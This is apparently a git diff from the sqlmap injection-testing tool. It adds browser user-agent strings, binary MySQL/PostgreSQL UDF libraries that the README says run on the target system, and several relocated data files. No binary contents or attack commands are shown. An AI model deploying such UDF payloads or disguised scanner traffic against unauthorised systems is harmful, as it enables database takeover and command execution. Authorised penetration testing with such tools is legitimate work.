+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15
+Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2)
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
+Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
+Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; CrOS x86_64 14816.131.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/116.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/28.0 Chrome/130.0.0.0 Safari/537.36
+Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0
+Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
+Mozilla/5.0 (X11; Linux x86_64; rv:138.0) Gecko/20100101 Firefox/138.0
+Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
+Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
+Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0
diff --git a/data/txt/wordlist.tx_ b/data/txt/wordlist.tx_
new file mode 100644
index 00000000000..f2b52c90658
Binary files /dev/null and b/data/txt/wordlist.tx_ differ
diff --git a/udf/README.txt b/data/udf/README.txt
similarity index 62%
rename from udf/README.txt
rename to data/udf/README.txt
index 077070873aa..5cecd99f5ee 100644
--- a/udf/README.txt
+++ b/data/udf/README.txt
@@ -1,6 +1,4 @@
Binary files in this folder are data files used by sqlmap on the target
system, but not executed on the system running sqlmap. They are licensed
under the terms of the GNU Lesser General Public License and their source
-code is available on the official sqlmap subversion repository[1].
-
-[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/udfhack/
+code is available on https://github.com/sqlmapproject/udfhack.
diff --git a/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
new file mode 100644
index 00000000000..c5339680c1b
Binary files /dev/null and b/data/udf/mysql/linux/32/lib_mysqludf_sys.so_ differ
diff --git a/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
new file mode 100644
index 00000000000..aed988c71eb
Binary files /dev/null and b/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ differ
diff --git a/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
new file mode 100644
index 00000000000..8c09c2a49ba
Binary files /dev/null and b/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ differ
diff --git a/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
new file mode 100644
index 00000000000..1e29a745889
Binary files /dev/null and b/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..2227f89936f
Binary files /dev/null and b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..7ece1b633c9
Binary files /dev/null and b/data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..6816064fa49
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..0e79dbb195a
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..bb2aaf8ba91
Binary files /dev/null and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..506b0eb3567
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..ef49da86edc
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..a1ca1cc710b
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..0d2f0bc0a53
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..147d8db3b19
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..09662d8a928
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..42a0c7fd61f
Binary files /dev/null and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..2db1ade11d5
Binary files /dev/null and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..1609227d01a
Binary files /dev/null and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..36db3b0eff7
Binary files /dev/null and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..7e8760c7e36
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..044e0976c44
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..d3866e04c93
Binary files /dev/null and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..4c957014480
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..dd637decae2
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..d92cbd30edc
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..38562790479
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..b72a328525b
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..214272877c7
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
new file mode 100644
index 00000000000..b7221fd873a
Binary files /dev/null and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ
diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
new file mode 100644
index 00000000000..d7e0c8a46a5
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
new file mode 100644
index 00000000000..e8b109791c2
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
new file mode 100644
index 00000000000..2748ae32c81
Binary files /dev/null and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ
diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
new file mode 100644
index 00000000000..60c9971218f
Binary files /dev/null and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ
diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml
new file mode 100644
index 00000000000..6bd38d6b4c7
--- /dev/null
+++ b/data/xml/banner/generic.xml
@@ -0,0 +1,216 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/xml/banner/mssql.xml b/data/xml/banner/mssql.xml
similarity index 100%
rename from xml/banner/mssql.xml
rename to data/xml/banner/mssql.xml
diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml
new file mode 100644
